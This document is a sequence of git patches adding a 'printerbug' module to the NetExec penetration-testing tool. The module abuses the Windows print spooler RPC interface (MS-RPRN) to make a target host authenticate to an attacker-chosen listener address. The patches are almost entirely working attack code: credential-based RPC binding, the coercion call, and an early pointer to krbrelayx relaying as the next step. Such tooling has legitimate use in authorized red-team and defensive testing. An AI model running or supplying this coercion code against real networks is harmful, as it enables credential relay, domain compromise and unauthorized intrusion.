From 188f909e6424529acefbe697c7850a58a8e7f6aa Mon Sep 17 00:00:00 2001 From: Hakan Yavuz Date: Thu, 18 Jan 2024 11:49:52 +0300 Subject: [PATCH 1/8] Create printerbug.py Add MS-RPRN abuse (PrinterBug) Signed-off-by: Hakan Yavuz --- nxc/modules/printerbug.py | 142 ++++++++++++++++++++++++++++++++++++++ 1 file changed, 142 insertions(+) create mode 100644 nxc/modules/printerbug.py diff --git a/nxc/modules/printerbug.py b/nxc/modules/printerbug.py new file mode 100644 index 00000000..ef332a4c --- /dev/null +++ b/nxc/modules/printerbug.py @@ -0,0 +1,142 @@ +from impacket import system_errors +from impacket.dcerpc.v5 import transport +from impacket.dcerpc.v5.ndr import NDRCALL +from impacket.dcerpc.v5.dtypes import ULONG, WSTR, DWORD +from impacket.dcerpc.v5.rpcrt import DCERPCException +from impacket.uuid import uuidtup_to_bin +from nxc.logger import nxc_logger + + +class NXCModule: + name = "printerbug" + description = "Module to check if the Target is vulnerable to PrinterBug" + supported_protocols = ["smb"] + opsec_safe = True + multiple_hosts = True + + def __init__(self, context=None, module_options=None): + self.context = context + self.module_options = module_options + self.listener = None + + def options(self, context, module_options): + """LISTENER Listener Address (defaults to 127.0.0.1)""" + self.listener = "127.0.0.1" + if "LISTENER" in module_options: + self.listener = module_options["LISTENER"] + + def on_login(self, context, connection): + trigger = TriggerAuth() + dce = trigger.connect( + username=connection.username, + password=connection.password, + domain=connection.domain, + lmhash=connection.lmhash, + nthash=connection.nthash, + target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain, + doKerberos=connection.kerberos, + dcHost=connection.kdcHost, + aesKey=connection.aesKey, + ) + + if dce is not None: + context.log.debug("Target is vulnerable to PrinterBug") + trigger.RpcRemoteFindFirstPrinterChange(dce, self.listener) + context.log.highlight("VULNERABLE") + context.log.highlight("Next step: https://github.com/dirkjanm/krbrelayx") + dce.disconnect() + + else: + context.log.debug("Target is not vulnerable to PrinterBug") + + +class DCERPCSessionError(DCERPCException): + def __init__(self, error_string=None, error_code=None, packet=None): + DCERPCException.__init__(self, error_string, error_code, packet) + + def __str__(self): + key = self.error_code + if key in system_errors.ERROR_MESSAGES: + error_msg_short = system_errors.ERROR_MESSAGES[key][0] + error_msg_verbose = system_errors.ERROR_MESSAGES[key][1] + return f"DFSNM SessionError: code: 0x{self.error_code:x} - {error_msg_short} - {error_msg_verbose}" + else: + return f"DFSNM SessionError: unknown error code: 0x{self.error_code:x}" + + +################################################################################ +# RPC CALLS +################################################################################ +class RpcRemoteFindFirstPrinterChange(NDRCALL): + opnum = 13 + structure = ( + ("ServerName", WSTR), + ("RootShare", WSTR), + ("ApiFlags", DWORD), + ) + + +class RpcRemoteFindFirstPrinterChangeResponse(NDRCALL): + structure = (("ErrorCode", ULONG),) + + +class NetrDfsAddRoot(NDRCALL): + opnum = 12 + structure = ( + ("ServerName", WSTR), + ("RootShare", WSTR), + ("Comment", WSTR), + ("ApiFlags", DWORD), + ) + + +class NetrDfsAddRootResponse(NDRCALL): + structure = (("ErrorCode", ULONG),) + + +class TriggerAuth: + def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost): + rpctransport = transport.DCERPCTransportFactory(r"ncacn_np:%s[\PIPE\spoolss]" % target) + if hasattr(rpctransport, "set_credentials"): + rpctransport.set_credentials( + username=username, + password=password, + domain=domain, + lmhash=lmhash, + nthash=nthash, + aesKey=aesKey, + ) + + if doKerberos: + rpctransport.set_kerberos(doKerberos, kdcHost=dcHost) + # if target: + + rpctransport.setRemoteHost(target) + dce = rpctransport.get_dce_rpc() + nxc_logger.debug("[-] Connecting to {}".format(r"ncacn_np:%s[\PIPE\spoolfs]") % target) + try: + dce.connect() + except Exception as e: + nxc_logger.debug(f"Something went wrong, check error status => {e!s}") + return None + try: + dce.bind(uuidtup_to_bin(("12345678-1234-ABCD-EF00-0123456789AB", "1.0"))) + except Exception as e: + nxc_logger.debug(f"Something went wrong, check error status => {e!s}") + return None + nxc_logger.debug("[+] Successfully bound!") + return dce + + def RpcRemoteFindFirstPrinterChange(self, dce, listener): + nxc_logger.debug("[-] Sending RpcRemoteFindFirstPrinterChange!") + try: + request = RpcRemoteFindFirstPrinterChange() + request["ServerName"] = f"{listener}\x00" + request["RootShare"] = "test\x00" + request["ApiFlags"] = 1 + if self.args.verbose: + nxc_logger.debug(request.dump()) + dce.request(request) + + except Exception as e: + nxc_logger.debug(e) From e422a1708091c70d51c98620b8b5a9311039948c Mon Sep 17 00:00:00 2001 From: Hakan Yavuz Date: Mon, 5 Feb 2024 16:11:02 +0300 Subject: [PATCH 2/8] Update printerbug.py Fix trigger Signed-off-by: Hakan Yavuz --- nxc/modules/printerbug.py | 68 +++++++++++++++++++-------------------- 1 file changed, 33 insertions(+), 35 deletions(-) diff --git a/nxc/modules/printerbug.py b/nxc/modules/printerbug.py index ef332a4c..d99d8ba5 100644 --- a/nxc/modules/printerbug.py +++ b/nxc/modules/printerbug.py @@ -1,5 +1,5 @@ from impacket import system_errors -from impacket.dcerpc.v5 import transport +from impacket.dcerpc.v5 import transport, rprn from impacket.dcerpc.v5.ndr import NDRCALL from impacket.dcerpc.v5.dtypes import ULONG, WSTR, DWORD from impacket.dcerpc.v5.rpcrt import DCERPCException @@ -41,7 +41,7 @@ class NXCModule: if dce is not None: context.log.debug("Target is vulnerable to PrinterBug") - trigger.RpcRemoteFindFirstPrinterChange(dce, self.listener) + trigger.RpcRemoteFindFirstPrinterChange(dce, self.listener,connection.host if not connection.kerberos else connection.hostname + "." + connection.domain) context.log.highlight("VULNERABLE") context.log.highlight("Next step: https://github.com/dirkjanm/krbrelayx") dce.disconnect() @@ -67,36 +67,15 @@ class DCERPCSessionError(DCERPCException): ################################################################################ # RPC CALLS ################################################################################ -class RpcRemoteFindFirstPrinterChange(NDRCALL): - opnum = 13 - structure = ( - ("ServerName", WSTR), - ("RootShare", WSTR), - ("ApiFlags", DWORD), - ) -class RpcRemoteFindFirstPrinterChangeResponse(NDRCALL): - structure = (("ErrorCode", ULONG),) - - -class NetrDfsAddRoot(NDRCALL): - opnum = 12 - structure = ( - ("ServerName", WSTR), - ("RootShare", WSTR), - ("Comment", WSTR), - ("ApiFlags", DWORD), - ) - - -class NetrDfsAddRootResponse(NDRCALL): - structure = (("ErrorCode", ULONG),) - class TriggerAuth: def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost): + rpctransport = transport.DCERPCTransportFactory(r"ncacn_np:%s[\PIPE\spoolss]" % target) + rpctransport.set_dport(445) + if hasattr(rpctransport, "set_credentials"): rpctransport.set_credentials( username=username, @@ -120,23 +99,42 @@ class TriggerAuth: nxc_logger.debug(f"Something went wrong, check error status => {e!s}") return None try: - dce.bind(uuidtup_to_bin(("12345678-1234-ABCD-EF00-0123456789AB", "1.0"))) + dce.bind(rprn.MSRPC_UUID_RPRN) except Exception as e: nxc_logger.debug(f"Something went wrong, check error status => {e!s}") return None nxc_logger.debug("[+] Successfully bound!") return dce - def RpcRemoteFindFirstPrinterChange(self, dce, listener): + def RpcRemoteFindFirstPrinterChange(self, dce, listener,target): nxc_logger.debug("[-] Sending RpcRemoteFindFirstPrinterChange!") try: - request = RpcRemoteFindFirstPrinterChange() - request["ServerName"] = f"{listener}\x00" - request["RootShare"] = "test\x00" - request["ApiFlags"] = 1 - if self.args.verbose: - nxc_logger.debug(request.dump()) - dce.request(request) + resp = rprn.hRpcOpenPrinter(dce, '\\\\%s\x00' % target) + except Exception as e: + if str(e).find('Broken pipe') >= 0: + # The connection timed-out. Let's try to bring it back next round + nxc_logger.error('Connection failed - skipping host!') + return + elif str(e).upper().find('ACCESS_DENIED'): + # We're not admin, bye + nxc_logger.error('Access denied - RPC call was denied') + dce.disconnect() + return + else: + raise + nxc_logger.debug('Got handle') + try: + request = rprn.RpcRemoteFindFirstPrinterChangeNotificationEx() + request['hPrinter'] = resp['pHandle'] + request['fdwFlags'] = rprn.PRINTER_CHANGE_ADD_JOB + request['pszLocalMachine'] = '\\\\%s\x00' % listener + request['pOptions'] = NULL + nxc_logger.debug(request.dump()) + except Exception as e: + nxc_logger.debug(e) + + try: + dce.request(request) except Exception as e: nxc_logger.debug(e) From fddcf67a65acf9dd45f5a0f2eeff3289f856a61b Mon Sep 17 00:00:00 2001 From: Hakan Yavuz Date: Mon, 5 Feb 2024 16:15:43 +0300 Subject: [PATCH 3/8] Update printerbug.py Signed-off-by: Hakan Yavuz --- nxc/modules/printerbug.py | 1 - 1 file changed, 1 deletion(-) diff --git a/nxc/modules/printerbug.py b/nxc/modules/printerbug.py index d99d8ba5..bee2bc33 100644 --- a/nxc/modules/printerbug.py +++ b/nxc/modules/printerbug.py @@ -130,7 +130,6 @@ class TriggerAuth: request['fdwFlags'] = rprn.PRINTER_CHANGE_ADD_JOB request['pszLocalMachine'] = '\\\\%s\x00' % listener request['pOptions'] = NULL - nxc_logger.debug(request.dump()) except Exception as e: nxc_logger.debug(e) From 2feece33e6fe80fd14f1d7a685d44185c03e3a29 Mon Sep 17 00:00:00 2001 From: Hakan Yavuz Date: Tue, 6 Feb 2024 15:39:38 +0300 Subject: [PATCH 4/8] Update printerbug.py Fix linter Signed-off-by: Hakan Yavuz --- nxc/modules/printerbug.py | 44 +++++++++++++-------------------------- 1 file changed, 14 insertions(+), 30 deletions(-) diff --git a/nxc/modules/printerbug.py b/nxc/modules/printerbug.py index bee2bc33..e66106d4 100644 --- a/nxc/modules/printerbug.py +++ b/nxc/modules/printerbug.py @@ -1,9 +1,5 @@ from impacket import system_errors from impacket.dcerpc.v5 import transport, rprn -from impacket.dcerpc.v5.ndr import NDRCALL -from impacket.dcerpc.v5.dtypes import ULONG, WSTR, DWORD -from impacket.dcerpc.v5.rpcrt import DCERPCException -from impacket.uuid import uuidtup_to_bin from nxc.logger import nxc_logger @@ -27,13 +23,14 @@ class NXCModule: def on_login(self, context, connection): trigger = TriggerAuth() + target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain dce = trigger.connect( username=connection.username, password=connection.password, domain=connection.domain, lmhash=connection.lmhash, nthash=connection.nthash, - target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain, + target=target, doKerberos=connection.kerberos, dcHost=connection.kdcHost, aesKey=connection.aesKey, @@ -41,7 +38,7 @@ class NXCModule: if dce is not None: context.log.debug("Target is vulnerable to PrinterBug") - trigger.RpcRemoteFindFirstPrinterChange(dce, self.listener,connection.host if not connection.kerberos else connection.hostname + "." + connection.domain) + trigger.RpcRemoteFindFirstPrinterChange(dce, self.listener, target) context.log.highlight("VULNERABLE") context.log.highlight("Next step: https://github.com/dirkjanm/krbrelayx") dce.disconnect() @@ -50,20 +47,6 @@ class NXCModule: context.log.debug("Target is not vulnerable to PrinterBug") -class DCERPCSessionError(DCERPCException): - def __init__(self, error_string=None, error_code=None, packet=None): - DCERPCException.__init__(self, error_string, error_code, packet) - - def __str__(self): - key = self.error_code - if key in system_errors.ERROR_MESSAGES: - error_msg_short = system_errors.ERROR_MESSAGES[key][0] - error_msg_verbose = system_errors.ERROR_MESSAGES[key][1] - return f"DFSNM SessionError: code: 0x{self.error_code:x} - {error_msg_short} - {error_msg_verbose}" - else: - return f"DFSNM SessionError: unknown error code: 0x{self.error_code:x}" - - ################################################################################ # RPC CALLS ################################################################################ @@ -109,27 +92,28 @@ class TriggerAuth: def RpcRemoteFindFirstPrinterChange(self, dce, listener,target): nxc_logger.debug("[-] Sending RpcRemoteFindFirstPrinterChange!") try: - resp = rprn.hRpcOpenPrinter(dce, '\\\\%s\x00' % target) + resp = rprn.hRpcOpenPrinter(dce, "\\\\%s\x00" % target) except Exception as e: - if str(e).find('Broken pipe') >= 0: + if str(e).find("Broken pipe") >= 0: # The connection timed-out. Let's try to bring it back next round - nxc_logger.error('Connection failed - skipping host!') + nxc_logger.error("Connection failed - skipping host!") return - elif str(e).upper().find('ACCESS_DENIED'): + elif str(e).upper().find("ACCESS_DENIED"): # We're not admin, bye - nxc_logger.error('Access denied - RPC call was denied') + nxc_logger.error("Access denied - RPC call was denied") dce.disconnect() return else: raise - nxc_logger.debug('Got handle') + nxc_logger.debug("Got handle") try: request = rprn.RpcRemoteFindFirstPrinterChangeNotificationEx() - request['hPrinter'] = resp['pHandle'] - request['fdwFlags'] = rprn.PRINTER_CHANGE_ADD_JOB - request['pszLocalMachine'] = '\\\\%s\x00' % listener - request['pOptions'] = NULL + request["hPrinter"] = resp["pHandle"] + request["fdwFlags"] = rprn.PRINTER_CHANGE_ADD_JOB + request["pszLocalMachine"] = "\\\\%s\x00" % listener + request["pOptions"] = None + nxc_logger.debug(request.dump()) except Exception as e: nxc_logger.debug(e) From 7909477ef7ffc2fdfa105905378db411fc8ded3c Mon Sep 17 00:00:00 2001 From: Hakan Yavuz Date: Wed, 7 Feb 2024 12:32:13 +0300 Subject: [PATCH 5/8] Update printerbug.py fix linter Signed-off-by: Hakan Yavuz --- nxc/modules/printerbug.py | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/nxc/modules/printerbug.py b/nxc/modules/printerbug.py index e66106d4..3e424261 100644 --- a/nxc/modules/printerbug.py +++ b/nxc/modules/printerbug.py @@ -1,4 +1,3 @@ -from impacket import system_errors from impacket.dcerpc.v5 import transport, rprn from nxc.logger import nxc_logger @@ -89,7 +88,7 @@ class TriggerAuth: nxc_logger.debug("[+] Successfully bound!") return dce - def RpcRemoteFindFirstPrinterChange(self, dce, listener,target): + def RpcRemoteFindFirstPrinterChange(self, dce, listener, target): nxc_logger.debug("[-] Sending RpcRemoteFindFirstPrinterChange!") try: resp = rprn.hRpcOpenPrinter(dce, "\\\\%s\x00" % target) From 183d2b9dce3417f99f675bb34ef0a898f4b48834 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 14 Mar 2024 00:44:47 +0100 Subject: [PATCH 6/8] Updated logging to use context logger and changed description --- nxc/modules/printerbug.py | 31 +++++++++++++++---------------- 1 file changed, 15 insertions(+), 16 deletions(-) diff --git a/nxc/modules/printerbug.py b/nxc/modules/printerbug.py index 3e424261..f67de84e 100644 --- a/nxc/modules/printerbug.py +++ b/nxc/modules/printerbug.py @@ -1,10 +1,9 @@ from impacket.dcerpc.v5 import transport, rprn -from nxc.logger import nxc_logger class NXCModule: name = "printerbug" - description = "Module to check if the Target is vulnerable to PrinterBug" + description = "Module to check if the Target is vulnerable to PrinterBug. Set LISTENER IP for coercion." supported_protocols = ["smb"] opsec_safe = True multiple_hosts = True @@ -21,7 +20,7 @@ class NXCModule: self.listener = module_options["LISTENER"] def on_login(self, context, connection): - trigger = TriggerAuth() + trigger = TriggerAuth(context) target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain dce = trigger.connect( username=connection.username, @@ -39,7 +38,6 @@ class NXCModule: context.log.debug("Target is vulnerable to PrinterBug") trigger.RpcRemoteFindFirstPrinterChange(dce, self.listener, target) context.log.highlight("VULNERABLE") - context.log.highlight("Next step: https://github.com/dirkjanm/krbrelayx") dce.disconnect() else: @@ -53,6 +51,8 @@ class NXCModule: class TriggerAuth: + def __init__(self, context): + self.context = context def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost): rpctransport = transport.DCERPCTransportFactory(r"ncacn_np:%s[\PIPE\spoolss]" % target) @@ -70,41 +70,40 @@ class TriggerAuth: if doKerberos: rpctransport.set_kerberos(doKerberos, kdcHost=dcHost) - # if target: rpctransport.setRemoteHost(target) dce = rpctransport.get_dce_rpc() - nxc_logger.debug("[-] Connecting to {}".format(r"ncacn_np:%s[\PIPE\spoolfs]") % target) + self.context.log.debug("Connecting to {}".format(r"ncacn_np:%s[\PIPE\spoolfs]") % target) try: dce.connect() except Exception as e: - nxc_logger.debug(f"Something went wrong, check error status => {e!s}") + self.context.log.debug(f"Something went wrong, check error status => {e!s}") return None try: dce.bind(rprn.MSRPC_UUID_RPRN) except Exception as e: - nxc_logger.debug(f"Something went wrong, check error status => {e!s}") + self.context.log.debug(f"Something went wrong, check error status => {e!s}") return None - nxc_logger.debug("[+] Successfully bound!") + self.context.log.debug("Successfully bound!") return dce def RpcRemoteFindFirstPrinterChange(self, dce, listener, target): - nxc_logger.debug("[-] Sending RpcRemoteFindFirstPrinterChange!") + self.context.log.debug("Sending RpcRemoteFindFirstPrinterChange!") try: resp = rprn.hRpcOpenPrinter(dce, "\\\\%s\x00" % target) except Exception as e: if str(e).find("Broken pipe") >= 0: # The connection timed-out. Let's try to bring it back next round - nxc_logger.error("Connection failed - skipping host!") + self.context.log.error("Connection failed - skipping host!") return elif str(e).upper().find("ACCESS_DENIED"): # We're not admin, bye - nxc_logger.error("Access denied - RPC call was denied") + self.context.log.error("Access denied - RPC call was denied") dce.disconnect() return else: raise - nxc_logger.debug("Got handle") + self.context.log.debug("Got handle") try: request = rprn.RpcRemoteFindFirstPrinterChangeNotificationEx() @@ -112,11 +111,11 @@ class TriggerAuth: request["fdwFlags"] = rprn.PRINTER_CHANGE_ADD_JOB request["pszLocalMachine"] = "\\\\%s\x00" % listener request["pOptions"] = None - nxc_logger.debug(request.dump()) + self.context.log.debug(request.dump()) except Exception as e: - nxc_logger.debug(e) + self.context.log.debug(e) try: dce.request(request) except Exception as e: - nxc_logger.debug(e) + self.context.log.debug(e) From 24b00d9992f7f28d3c080c0aa7784d2673d7bb1d Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 14 Mar 2024 00:55:25 +0100 Subject: [PATCH 7/8] Formating --- nxc/modules/printerbug.py | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) diff --git a/nxc/modules/printerbug.py b/nxc/modules/printerbug.py index f67de84e..4cd8d3b3 100644 --- a/nxc/modules/printerbug.py +++ b/nxc/modules/printerbug.py @@ -39,7 +39,6 @@ class NXCModule: trigger.RpcRemoteFindFirstPrinterChange(dce, self.listener, target) context.log.highlight("VULNERABLE") dce.disconnect() - else: context.log.debug("Target is not vulnerable to PrinterBug") @@ -49,12 +48,11 @@ class NXCModule: ################################################################################ - class TriggerAuth: def __init__(self, context): self.context = context + def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost): - rpctransport = transport.DCERPCTransportFactory(r"ncacn_np:%s[\PIPE\spoolss]" % target) rpctransport.set_dport(445) @@ -80,7 +78,7 @@ class TriggerAuth: self.context.log.debug(f"Something went wrong, check error status => {e!s}") return None try: - dce.bind(rprn.MSRPC_UUID_RPRN) + dce.bind(rprn.MSRPC_UUID_RPRN) except Exception as e: self.context.log.debug(f"Something went wrong, check error status => {e!s}") return None From 64f36926243905d558a47f2ca87d1616869195d8 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 14 Mar 2024 00:55:50 +0100 Subject: [PATCH 8/8] Removing unused request options which throw an exception --- nxc/modules/printerbug.py | 2 -- 1 file changed, 2 deletions(-) diff --git a/nxc/modules/printerbug.py b/nxc/modules/printerbug.py index 4cd8d3b3..fe83df2f 100644 --- a/nxc/modules/printerbug.py +++ b/nxc/modules/printerbug.py @@ -108,8 +108,6 @@ class TriggerAuth: request["hPrinter"] = resp["pHandle"] request["fdwFlags"] = rprn.PRINTER_CHANGE_ADD_JOB request["pszLocalMachine"] = "\\\\%s\x00" % listener - request["pOptions"] = None - self.context.log.debug(request.dump()) except Exception as e: self.context.log.debug(e)